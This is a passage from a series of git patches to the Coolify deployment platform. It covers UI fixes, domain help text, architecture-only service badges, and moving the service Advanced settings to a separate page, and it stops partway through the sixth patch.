From 50b589aeff3820d000b741335e46e437c985efb7 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Fri, 26 Dec 2025 12:02:24 +0100
Subject: [PATCH 001/102] fix(ui): Initialize latestVersion in Upgrade
 component mount
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The upgrade modal was displaying "0.0.0" as the target version because
$latestVersion was not initialized during component mount. The Blade
template rendered before Alpine's x-init could populate the value.

Fixed by calling get_latest_version_of_coolify() in mount() to ensure
the version is available at initial render time.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Haiku 4.5 <noreply@anthropic.com>
---
 app/Livewire/Upgrade.php | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/Livewire/Upgrade.php b/app/Livewire/Upgrade.php
index 7948ad6a9..25cedc71b 100644
--- a/app/Livewire/Upgrade.php
+++ b/app/Livewire/Upgrade.php
@@ -24,6 +24,7 @@ class Upgrade extends Component
     public function mount()
     {
         $this->currentVersion = config('constants.coolify.version');
+        $this->latestVersion = get_latest_version_of_coolify();
         $this->devMode = isDev();
     }
 

From 93a95bdf4391abd1e44dbb3093ab5ea9a5f3f169 Mon Sep 17 00:00:00 2001
From: James Peters <email@jamesdpeters.com>
Date: Sat, 14 Feb 2026 00:03:12 +0000
Subject: [PATCH 002/102] Added extra documentation on format for port + path
 when configuring domain rewrites

---
 .../views/livewire/project/application/general.blade.php      | 4 ++--
 .../views/livewire/project/service/edit-domain.blade.php      | 2 +-
 resources/views/livewire/project/service/index.blade.php      | 4 ++--
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php
index f576a4a12..be59fa884 100644
--- a/resources/views/livewire/project/application/general.blade.php
+++ b/resources/views/livewire/project/application/general.blade.php
@@ -54,7 +54,7 @@
                                 @if (!isDatabaseImage(data_get($service, 'image')))
                                     <div class="flex items-end gap-2">
                                         <x-forms.input
-                                            helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "
+                                            helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container.<br>- http://app.coolify.io:8080/api -> app.coolify.io/api will point to port 8080 inside the container."
                                             label="Domains for {{ $serviceName }}"
                                             id="parsedServiceDomains.{{ str($serviceName)->replace('-', '_')->replace('.', '_') }}.domain"
                                             x-bind:disabled="shouldDisable()"></x-forms.input>
@@ -106,7 +106,7 @@
                             x-bind:disabled="!canUpdate" />
                     @else
                         <x-forms.input placeholder="https://coolify.io" wire:model="fqdn" label="Domains"
-                            helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "
+                            helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container.<br>- http://app.coolify.io:8080/api -> app.coolify.io/api will point to port 8080 inside the container."
                             x-bind:disabled="!canUpdate" />
                         @can('update', $application)
                             <x-forms.button wire:click="getWildcardDomain">Generate Domain
diff --git a/resources/views/livewire/project/service/edit-domain.blade.php b/resources/views/livewire/project/service/edit-domain.blade.php
index 0691146f6..7ca7a9685 100644
--- a/resources/views/livewire/project/service/edit-domain.blade.php
+++ b/resources/views/livewire/project/service/edit-domain.blade.php
@@ -10,7 +10,7 @@
 
         <x-forms.input canGate="update" :canResource="$application" placeholder="https://app.coolify.io" label="Domains"
             id="fqdn"
-            helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "></x-forms.input>
+            helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container.<br>- http://app.coolify.io:8080/api -> app.coolify.io/api will point to port 8080 inside the container."></x-forms.input>
         <x-forms.button canGate="update" :canResource="$application" type="submit">Save</x-forms.button>
     </form>
 
diff --git a/resources/views/livewire/project/service/index.blade.php b/resources/views/livewire/project/service/index.blade.php
index 04d30ae60..6d9cd3ee2 100644
--- a/resources/views/livewire/project/service/index.blade.php
+++ b/resources/views/livewire/project/service/index.blade.php
@@ -66,11 +66,11 @@ class="{{ request()->routeIs('project.service.configuration') ? 'menu-item-activ
                                 @if ($serviceApplication->required_fqdn)
                                     <x-forms.input canGate="update" :canResource="$serviceApplication" required placeholder="https://app.coolify.io"
                                         label="Domains" id="fqdn"
-                                        helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "></x-forms.input>
+                                        helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container.<br>- http://app.coolify.io:8080/api -> app.coolify.io/api will point to port 8080 inside the container."></x-forms.input>
                                 @else
                                     <x-forms.input canGate="update" :canResource="$serviceApplication" placeholder="https://app.coolify.io"
                                         label="Domains" id="fqdn"
-                                        helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "></x-forms.input>
+                                        helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container.<br>- http://app.coolify.io:8080/api -> app.coolify.io/api will point to port 8080 inside the container."></x-forms.input>
                                 @endif
                             @endif
                             <x-forms.input canGate="update" :canResource="$serviceApplication"

From dfd0edff6439a1441d307e4f1726bb6fb30ed401 Mon Sep 17 00:00:00 2001
From: Cinzya <cynti-ebert@web.de>
Date: Mon, 16 Feb 2026 08:47:00 +0100
Subject: [PATCH 003/102] feat(services): add architecture warning

---
 app/Console/Commands/Generate/Services.php    | 24 ++++++++++++++++
 app/Livewire/GlobalSearch.php                 |  5 +++-
 .../views/livewire/global-search.blade.php    | 14 ++++++++++
 .../livewire/project/new/select.blade.php     | 28 +++++++++++++++++++
 4 files changed, 70 insertions(+), 1 deletion(-)

diff --git a/app/Console/Commands/Generate/Services.php b/app/Console/Commands/Generate/Services.php
index 42f9360bb..e316fc391 100644
--- a/app/Console/Commands/Generate/Services.php
+++ b/app/Console/Commands/Generate/Services.php
@@ -88,6 +88,14 @@ private function processFile(string $file): false|array
             $payload['envs'] = base64_encode($envFileContent);
         }
 
+        if (str($data->get('amd_only'))->toBoolean()) {
+            $payload['amd_only'] = true;
+        }
+
+        if (str($data->get('arm_only'))->toBoolean()) {
+            $payload['arm_only'] = true;
+        }
+
         return $payload;
     }
 
@@ -160,6 +168,14 @@ private function processFileWithFqdn(string $file): false|array
             $payload['envs'] = base64_encode($modifiedEnvContent);
         }
 
+        if (str($data->get('amd_only'))->toBoolean()) {
+            $payload['amd_only'] = true;
+        }
+
+        if (str($data->get('arm_only'))->toBoolean()) {
+            $payload['arm_only'] = true;
+        }
+
         return $payload;
     }
 
@@ -229,6 +245,14 @@ private function processFileWithFqdnRaw(string $file): false|array
             $payload['envs'] = $modifiedEnvContent;
         }
 
+        if (str($data->get('amd_only'))->toBoolean()) {
+            $payload['amd_only'] = true;
+        }
+
+        if (str($data->get('arm_only'))->toBoolean()) {
+            $payload['arm_only'] = true;
+        }
+
         return $payload;
     }
 }
diff --git a/app/Livewire/GlobalSearch.php b/app/Livewire/GlobalSearch.php
index ed9115093..56804d823 100644
--- a/app/Livewire/GlobalSearch.php
+++ b/app/Livewire/GlobalSearch.php
@@ -1495,7 +1495,10 @@ public function getServicesProperty()
                 'type' => 'one-click-service-'.$serviceKey,
                 'category' => 'Services',
                 'resourceType' => 'service',
-            ]);
+            ] + array_filter([
+                'amd_only' => data_get($service, 'amd_only') ? true : null,
+                'arm_only' => data_get($service, 'arm_only') ? true : null,
+            ]));
         }
 
         $cachedServices = $items->toArray();
diff --git a/resources/views/livewire/global-search.blade.php b/resources/views/livewire/global-search.blade.php
index 27b8d2821..8a5b19e92 100644
--- a/resources/views/livewire/global-search.blade.php
+++ b/resources/views/livewire/global-search.blade.php
@@ -822,6 +822,20 @@ class="h-5 w-5 text-warning-600 dark:text-warning-400"
                                                                 <div class="font-medium text-neutral-900 dark:text-white truncate"
                                                                     x-text="item.name">
                                                                 </div>
+                                                                <template x-if="item.amd_only">
+                                                                    <span
+                                                                        class="px-2 py-0.5 text-xs rounded-full bg-amber-100 text-amber-800 dark:bg-amber-900/50 dark:text-amber-200 shrink-0"
+                                                                        title="This service only supports AMD64/x86_64 architecture">
+                                                                        AMD only
+                                                                    </span>
+                                                                </template>
+                                                                <template x-if="item.arm_only">
+                                                                    <span
+                                                                        class="px-2 py-0.5 text-xs rounded-full bg-amber-100 text-amber-800 dark:bg-amber-900/50 dark:text-amber-200 shrink-0"
+                                                                        title="This service only supports ARM64/aarch64 architecture">
+                                                                        ARM only
+                                                                    </span>
+                                                                </template>
                                                                 <span
                                                                     class="text-xs text-neutral-500 dark:text-neutral-400 shrink-0"
                                                                     x-text="item.quickcommand"
diff --git a/resources/views/livewire/project/new/select.blade.php b/resources/views/livewire/project/new/select.blade.php
index 8f97c22d8..04c09ede1 100644
--- a/resources/views/livewire/project/new/select.blade.php
+++ b/resources/views/livewire/project/new/select.blade.php
@@ -173,6 +173,34 @@ class="w-full h-full p-2 transition-all duration-200 dark:bg-white/10 bg-black/1
                                         </template>
                                     </x-slot:logo>
                                 </x-resource-view>
+                                <template x-if="service.amd_only">
+                                    <div class="absolute top-2 right-10 group">
+                                        <span
+                                            class="px-2 py-0.5 text-xs rounded bg-amber-100 text-amber-800 dark:bg-amber-900/50 dark:text-amber-200 cursor-pointer">
+                                            AMD only
+                                        </span>
+                                        <div class="info-helper-popup right-0 w-sm">
+                                            <div class="p-4">
+                                                This service only supports AMD64/x86_64 architecture. It will not work
+                                                on ARM-based servers (e.g., Apple Silicon, Raspberry Pi, AWS Graviton).
+                                            </div>
+                                        </div>
+                                    </div>
+                                </template>
+                                <template x-if="service.arm_only">
+                                    <div class="absolute top-2 right-10 group">
+                                        <span
+                                            class="px-2 py-0.5 text-xs rounded-full bg-amber-100 text-amber-800 dark:bg-amber-900/50 dark:text-amber-200 cursor-pointer">
+                                            ARM only
+                                        </span>
+                                        <div class="info-helper-popup right-0 w-sm">
+                                            <div class="p-4">
+                                                This service only supports ARM64/aarch64 architecture. It will not work
+                                                on AMD64/x86_64-based servers.
+                                            </div>
+                                        </div>
+                                    </div>
+                                </template>
                                 <template x-if="shouldShowDocIcon(service)">
                                     <a :href="getDocLink(service) || coolifyDocsUrl(service.name)" target="_blank"
                                         @click.stop @mouseenter="resolveDocLink(service)"

From ed0037a1f3f8adcb732ddd2652cbabac90f24f5c Mon Sep 17 00:00:00 2001
From: Cinzya <cynti-ebert@web.de>
Date: Mon, 16 Feb 2026 08:55:37 +0100
Subject: [PATCH 004/102] chore: mark calcom amd only

---
 templates/compose/calcom.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/templates/compose/calcom.yaml b/templates/compose/calcom.yaml
index 0cc7f63ce..b5ef778b5 100644
--- a/templates/compose/calcom.yaml
+++ b/templates/compose/calcom.yaml
@@ -4,6 +4,7 @@
 # tags: calcom,calendso,scheduling,open,source
 # logo: svgs/calcom.svg
 # port: 3000
+# amd_only: true
 
 services:
   calcom:

From 8105447f94c6ca1c1b400ab89d7393e0d28a8dea Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Wed, 18 Mar 2026 11:45:02 +0530
Subject: [PATCH 005/102] feat(ui): added network heading on services page for
 network related options

---
 resources/views/livewire/project/service/stack-form.blade.php | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/resources/views/livewire/project/service/stack-form.blade.php b/resources/views/livewire/project/service/stack-form.blade.php
index 8972345bc..ab26e0b71 100644
--- a/resources/views/livewire/project/service/stack-form.blade.php
+++ b/resources/views/livewire/project/service/stack-form.blade.php
@@ -20,6 +20,9 @@
             placeholder="My super WordPress site" />
         <x-forms.input canGate="update" :canResource="$service" id="description" label="Description" />
     </div>
+    <div>
+        <h3>Network</h3>
+    </div>
     <div class="w-96">
         <x-forms.checkbox canGate="update" :canResource="$service" instantSave id="connectToDockerNetwork"
             label="Connect To Predefined Network"

From 8a2f989b6e87ad61f6664d659585f1e16697bf39 Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Wed, 18 Mar 2026 12:00:42 +0530
Subject: [PATCH 006/102] feat(ui): added advanced page on service settings
 page

basically moved advanced section from general page to it's own new page called advanced
---
 .../service-database/sidebar.blade.php        |   2 +
 .../livewire/project/service/index.blade.php  | 271 +++++++++---------
 routes/web.php                                |   1 +
 3 files changed, 142 insertions(+), 132 deletions(-)

diff --git a/resources/views/components/service-database/sidebar.blade.php b/resources/views/components/service-database/sidebar.blade.php
index 9d31fc634..dc9a30552 100644
--- a/resources/views/components/service-database/sidebar.blade.php
+++ b/resources/views/components/service-database/sidebar.blade.php
@@ -16,6 +16,8 @@ class="{{ request()->routeIs('project.service.configuration') ? 'menu-item-activ
     </a>
     <a class="sub-menu-item" wire:current.exact="menu-item-active" {{ wireNavigate() }}
         href="{{ route('project.service.index', $parameters) }}"><span class="menu-item-label">General</span></a>
+    <a class="sub-menu-item" wire:current.exact="menu-item-active" {{ wireNavigate() }}
+        href="{{ route('project.service.index.advanced', $parameters) }}"><span class="menu-item-label">Advanced</span></a>
     @if ($serviceDatabase?->isBackupSolutionAvailable() || $serviceDatabase?->is_migrated)
         <a class="sub-menu-item" wire:current.exact="menu-item-active" {{ wireNavigate() }}
             href="{{ route('project.service.database.backups', $parameters) }}"><span class="menu-item-label">Backups</span></a>
diff --git a/resources/views/livewire/project/service/index.blade.php b/resources/views/livewire/project/service/index.blade.php
index 04d30ae60..50bb8d017 100644
--- a/resources/views/livewire/project/service/index.blade.php
+++ b/resources/views/livewire/project/service/index.blade.php
@@ -14,7 +14,10 @@ class="{{ request()->routeIs('project.service.configuration') ? 'menu-item-activ
                     </svg>
                     <span class="menu-item-label">Back</span>
                 </a>
-                <a class="sub-menu-item menu-item-active" href="#"><span class="menu-item-label">General</span></a>
+                <a class="sub-menu-item" wire:current.exact="menu-item-active" {{ wireNavigate() }}
+                    href="{{ route('project.service.index', $parameters) }}"><span class="menu-item-label">General</span></a>
+                <a class="sub-menu-item" wire:current.exact="menu-item-active" {{ wireNavigate() }}
+                    href="{{ route('project.service.index.advanced', $parameters) }}"><span class="menu-item-label">Advanced</span></a>
             </div>
         @endif
         <div class="w-full">
@@ -23,63 +26,9 @@ class="{{ request()->routeIs('project.service.configuration') ? 'menu-item-activ
                     {{ data_get_str($service, 'name')->limit(10) }} >
                     {{ data_get_str($serviceApplication, 'name')->limit(10) }} | Coolify
                 </x-slot>
-                <form wire:submit='submitApplication'>
-                    <div class="flex items-center gap-2 pb-4">
-                        @if ($serviceApplication->human_name)
-                            <h2>{{ Str::headline($serviceApplication->human_name) }}</h2>
-                        @else
-                            <h2>{{ Str::headline($serviceApplication->name) }}</h2>
-                        @endif
-                        <x-forms.button canGate="update" :canResource="$serviceApplication" type="submit">Save</x-forms.button>
-                        @can('update', $serviceApplication)
-                            <x-modal-confirmation wire:click="convertToDatabase" title="Convert to Database"
-                                buttonTitle="Convert to Database" submitAction="convertToDatabase" :actions="['The selected resource will be converted to a service database.']"
-                                confirmationText="{{ Str::headline($serviceApplication->name) }}"
-                                confirmationLabel="Please confirm the execution of the actions by entering the Service Application Name below"
-                                shortConfirmationLabel="Service Application Name" />
-                        @endcan
-                        @can('delete', $serviceApplication)
-                            <x-modal-confirmation title="Confirm Service Application Deletion?" buttonTitle="Delete" isErrorButton
-                                submitAction="deleteApplication" :actions="['The selected service application container will be stopped and permanently deleted.']"
-                                confirmationText="{{ Str::headline($serviceApplication->name) }}"
-                                confirmationLabel="Please confirm the execution of the actions by entering the Service Application Name below"
-                                shortConfirmationLabel="Service Application Name" />
-                        @endcan
-                    </div>
-                    <div class="flex flex-col gap-2">
-                        @if ($requiredPort && !$serviceApplication->serviceType()?->contains(str($serviceApplication->image)->before(':')))
-                            <x-callout type="warning" title="Required Port: {{ $requiredPort }}" class="mb-2">
-                                This service requires port <strong>{{ $requiredPort }}</strong> to function correctly. All domains must include this port number (or any other port if you know what you're doing).
-                                <br><br>
-                                <strong>Example:</strong> http://app.coolify.io:{{ $requiredPort }}
-                            </x-callout>
-                        @endif
-
-                        <div class="flex gap-2">
-                            <x-forms.input canGate="update" :canResource="$serviceApplication" label="Name" id="humanName"
-                                placeholder="Human readable name"></x-forms.input>
-                            <x-forms.input canGate="update" :canResource="$serviceApplication" label="Description"
-                                id="description"></x-forms.input>
-                        </div>
-                        <div class="flex gap-2">
-                            @if (!$serviceApplication->serviceType()?->contains(str($serviceApplication->image)->before(':')))
-                                @if ($serviceApplication->required_fqdn)
-                                    <x-forms.input canGate="update" :canResource="$serviceApplication" required placeholder="https://app.coolify.io"
-                                        label="Domains" id="fqdn"
-                                        helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "></x-forms.input>
-                                @else
-                                    <x-forms.input canGate="update" :canResource="$serviceApplication" placeholder="https://app.coolify.io"
-                                        label="Domains" id="fqdn"
-                                        helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "></x-forms.input>
-                                @endif
-                            @endif
-                            <x-forms.input canGate="update" :canResource="$serviceApplication"
-                                helper="You can change the image you would like to deploy.<br><br><span class='dark:text-warning'>WARNING. You could corrupt your data. Only do it if you know what you are doing.</span>"
-                                label="Image" id="image"></x-forms.input>
-                        </div>
-                    </div>
-                    <h3 class="py-2 pt-4">Advanced</h3>
-                    <div class="w-96 flex flex-col gap-1">
+                @if ($currentRoute === 'project.service.index.advanced')
+                    <h2>Advanced</h2>
+                    <div class="w-96 flex flex-col gap-1 pt-4">
                         @if (str($serviceApplication->image)->contains('pocketbase'))
                             <x-forms.checkbox canGate="update" :canResource="$serviceApplication" instantSave="instantSaveApplicationSettings" id="isGzipEnabled"
                                 label="Enable Gzip Compression"
@@ -99,77 +48,134 @@ class="{{ request()->routeIs('project.service.configuration') ? 'menu-item-activ
                             helper="Drain logs to your configured log drain endpoint in your Server settings."
                             instantSave="instantSaveApplicationAdvanced" id="isLogDrainEnabled" label="Drain Logs" />
                     </div>
-                </form>
+                @else
+                    <form wire:submit='submitApplication'>
+                        <div class="flex items-center gap-2 pb-4">
+                            @if ($serviceApplication->human_name)
+                                <h2>{{ Str::headline($serviceApplication->human_name) }}</h2>
+                            @else
+                                <h2>{{ Str::headline($serviceApplication->name) }}</h2>
+                            @endif
+                            <x-forms.button canGate="update" :canResource="$serviceApplication" type="submit">Save</x-forms.button>
+                            @can('update', $serviceApplication)
+                                <x-modal-confirmation wire:click="convertToDatabase" title="Convert to Database"
+                                    buttonTitle="Convert to Database" submitAction="convertToDatabase" :actions="['The selected resource will be converted to a service database.']"
+                                    confirmationText="{{ Str::headline($serviceApplication->name) }}"
+                                    confirmationLabel="Please confirm the execution of the actions by entering the Service Application Name below"
+                                    shortConfirmationLabel="Service Application Name" />
+                            @endcan
+                            @can('delete', $serviceApplication)
+                                <x-modal-confirmation title="Confirm Service Application Deletion?" buttonTitle="Delete" isErrorButton
+                                    submitAction="deleteApplication" :actions="['The selected service application container will be stopped and permanently deleted.']"
+                                    confirmationText="{{ Str::headline($serviceApplication->name) }}"
+                                    confirmationLabel="Please confirm the execution of the actions by entering the Service Application Name below"
+                                    shortConfirmationLabel="Service Application Name" />
+                            @endcan
+                        </div>
+                        <div class="flex flex-col gap-2">
+                            @if ($requiredPort && !$serviceApplication->serviceType()?->contains(str($serviceApplication->image)->before(':')))
+                                <x-callout type="warning" title="Required Port: {{ $requiredPort }}" class="mb-2">
+                                    This service requires port <strong>{{ $requiredPort }}</strong> to function correctly. All domains must include this port number (or any other port if you know what you're doing).
+                                    <br><br>
+                                    <strong>Example:</strong> http://app.coolify.io:{{ $requiredPort }}
+                                </x-callout>
+                            @endif
 
-                <x-domain-conflict-modal
-                    :conflicts="$domainConflicts"
-                    :showModal="$showDomainConflictModal"
-                    confirmAction="confirmDomainUsage">
-                    <x-slot:consequences>
-                        <ul class="mt-2 ml-4 list-disc">
-                            <li>Only one service will be accessible at this domain</li>
-                            <li>The routing behavior will be unpredictable</li>
-                            <li>You may experience service disruptions</li>
-                            <li>SSL certificates might not work correctly</li>
-                        </ul>
-                    </x-slot:consequences>
-                </x-domain-conflict-modal>
+                            <div class="flex gap-2">
+                                <x-forms.input canGate="update" :canResource="$serviceApplication" label="Name" id="humanName"
+                                    placeholder="Human readable name"></x-forms.input>
+                                <x-forms.input canGate="update" :canResource="$serviceApplication" label="Description"
+                                    id="description"></x-forms.input>
+                            </div>
+                            <div class="flex gap-2">
+                                @if (!$serviceApplication->serviceType()?->contains(str($serviceApplication->image)->before(':')))
+                                    @if ($serviceApplication->required_fqdn)
+                                        <x-forms.input canGate="update" :canResource="$serviceApplication" required placeholder="https://app.coolify.io"
+                                            label="Domains" id="fqdn"
+                                            helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "></x-forms.input>
+                                    @else
+                                        <x-forms.input canGate="update" :canResource="$serviceApplication" placeholder="https://app.coolify.io"
+                                            label="Domains" id="fqdn"
+                                            helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "></x-forms.input>
+                                    @endif
+                                @endif
+                                <x-forms.input canGate="update" :canResource="$serviceApplication"
+                                    helper="You can change the image you would like to deploy.<br><br><span class='dark:text-warning'>WARNING. You could corrupt your data. Only do it if you know what you are doing.</span>"
+                                    label="Image" id="image"></x-forms.input>
+                            </div>
+                        </div>
+                    </form>
 
-                @if ($showPortWarningModal)
-                    <div x-data="{ modalOpen: true }" x-init="$nextTick(() => { modalOpen = true })"
-                        @keydown.escape.window="modalOpen = false; $wire.call('cancelRemovePort')"
-                        :class="{ 'z-40': modalOpen }" class="relative w-auto h-auto">
-                        <template x-teleport="body">
-                            <div x-show="modalOpen"
-                                class="fixed top-0 lg:pt-10 left-0 z-99 flex items-start justify-center w-screen h-screen" x-cloak>
-                                <div x-show="modalOpen" class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
-                                <div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
-                                    x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
-                                    x-transition:enter-end="opacity-100 translate-y-0 sm:scale-100"
-                                    x-transition:leave="ease-in duration-100"
-                                    x-transition:leave-start="opacity-100 translate-y-0 sm:scale-100"
-                                    x-transition:leave-end="opacity-0 -translate-y-2 sm:scale-95"
-                                    class="relative w-full py-6 border rounded-sm min-w-full lg:min-w-[36rem] max-w-[48rem] bg-neutral-100 border-neutral-400 dark:bg-base px-7 dark:border-coolgray-300">
-                                    <div class="flex justify-between items-center pb-3">
-                                        <h2 class="pr-8 font-bold">Remove Required Port?</h2>
-                                        <button @click="modalOpen = false; $wire.call('cancelRemovePort')"
-                                            class="flex absolute top-2 right-2 justify-center items-center w-8 h-8 rounded-full dark:text-white hover:bg-coolgray-300">
-                                            <svg class="w-6 h-6" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
-                                                stroke-width="1.5" stroke="currentColor">
-                                                <path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
-                                            </svg>
-                                        </button>
-                                    </div>
-                                    <div class="relative w-auto">
-                                        <x-callout type="warning" title="Port Requirement Warning" class="mb-4">
-                                            This service requires port <strong>{{ $requiredPort }}</strong> to function correctly.
-                                            One or more of your domains are missing a port number.
-                                        </x-callout>
+                    <x-domain-conflict-modal
+                        :conflicts="$domainConflicts"
+                        :showModal="$showDomainConflictModal"
+                        confirmAction="confirmDomainUsage">
+                        <x-slot:consequences>
+                            <ul class="mt-2 ml-4 list-disc">
+                                <li>Only one service will be accessible at this domain</li>
+                                <li>The routing behavior will be unpredictable</li>
+                                <li>You may experience service disruptions</li>
+                                <li>SSL certificates might not work correctly</li>
+                            </ul>
+                        </x-slot:consequences>
+                    </x-domain-conflict-modal>
 
-                                        <x-callout type="danger" title="What will happen if you continue?" class="mb-4">
-                                            <ul class="mt-2 ml-4 list-disc">
-                                                <li>The service may become unreachable</li>
-                                                <li>The proxy may not be able to route traffic correctly</li>
-                                                <li>Environment variables may not be generated properly</li>
-                                                <li>The service may fail to start or function</li>
-                                            </ul>
-                                        </x-callout>
+                    @if ($showPortWarningModal)
+                        <div x-data="{ modalOpen: true }" x-init="$nextTick(() => { modalOpen = true })"
+                            @keydown.escape.window="modalOpen = false; $wire.call('cancelRemovePort')"
+                            :class="{ 'z-40': modalOpen }" class="relative w-auto h-auto">
+                            <template x-teleport="body">
+                                <div x-show="modalOpen"
+                                    class="fixed top-0 lg:pt-10 left-0 z-99 flex items-start justify-center w-screen h-screen" x-cloak>
+                                    <div x-show="modalOpen" class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
+                                    <div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
+                                        x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
+                                        x-transition:enter-end="opacity-100 translate-y-0 sm:scale-100"
+                                        x-transition:leave="ease-in duration-100"
+                                        x-transition:leave-start="opacity-100 translate-y-0 sm:scale-100"
+                                        x-transition:leave-end="opacity-0 -translate-y-2 sm:scale-95"
+                                        class="relative w-full py-6 border rounded-sm min-w-full lg:min-w-[36rem] max-w-[48rem] bg-neutral-100 border-neutral-400 dark:bg-base px-7 dark:border-coolgray-300">
+                                        <div class="flex justify-between items-center pb-3">
+                                            <h2 class="pr-8 font-bold">Remove Required Port?</h2>
+                                            <button @click="modalOpen = false; $wire.call('cancelRemovePort')"
+                                                class="flex absolute top-2 right-2 justify-center items-center w-8 h-8 rounded-full dark:text-white hover:bg-coolgray-300">
+                                                <svg class="w-6 h-6" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
+                                                    stroke-width="1.5" stroke="currentColor">
+                                                    <path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
+                                                </svg>
+                                            </button>
+                                        </div>
+                                        <div class="relative w-auto">
+                                            <x-callout type="warning" title="Port Requirement Warning" class="mb-4">
+                                                This service requires port <strong>{{ $requiredPort }}</strong> to function correctly.
+                                                One or more of your domains are missing a port number.
+                                            </x-callout>
 
-                                        <div class="flex flex-wrap gap-2 justify-between mt-4">
-                                            <x-forms.button @click="modalOpen = false; $wire.call('cancelRemovePort')"
-                                                class="w-auto dark:bg-coolgray-200 dark:hover:bg-coolgray-300">
-                                                Cancel - Keep Port
-                                            </x-forms.button>
-                                            <x-forms.button wire:click="confirmRemovePort" @click="modalOpen = false" class="w-auto"
-                                                isError>
-                                                I understand, remove port anyway
-                                            </x-forms.button>
+                                            <x-callout type="danger" title="What will happen if you continue?" class="mb-4">
+                                                <ul class="mt-2 ml-4 list-disc">
+                                                    <li>The service may become unreachable</li>
+                                                    <li>The proxy may not be able to route traffic correctly</li>
+                                                    <li>Environment variables may not be generated properly</li>
+                                                    <li>The service may fail to start or function</li>
+                                                </ul>
+                                            </x-callout>
+
+                                            <div class="flex flex-wrap gap-2 justify-between mt-4">
